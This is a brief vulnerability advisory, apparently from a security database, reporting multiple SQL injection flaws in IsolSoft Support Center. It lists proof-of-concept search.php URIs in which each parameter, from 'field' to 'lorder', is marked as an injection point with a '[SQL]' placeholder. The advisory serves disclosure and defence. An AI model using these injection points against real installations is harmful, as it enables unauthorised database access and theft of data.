|
IsolSoft Support Center Multiple SQL Injection Vulnerabilities
No exploit is required. The following proof of concept URI are available: http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=any&Priority=any&lorder=[SQL] http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=any&Priority=[SQL] http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=[SQL] http://www.example.com/search.php?field=Subject&searchvalue=&Category=[SQL] http://www.example.com/search.php?field=Subject&searchvalue=[SQL] http://www.example.com/search.php?field=[SQL] |
|
Privacy Statement |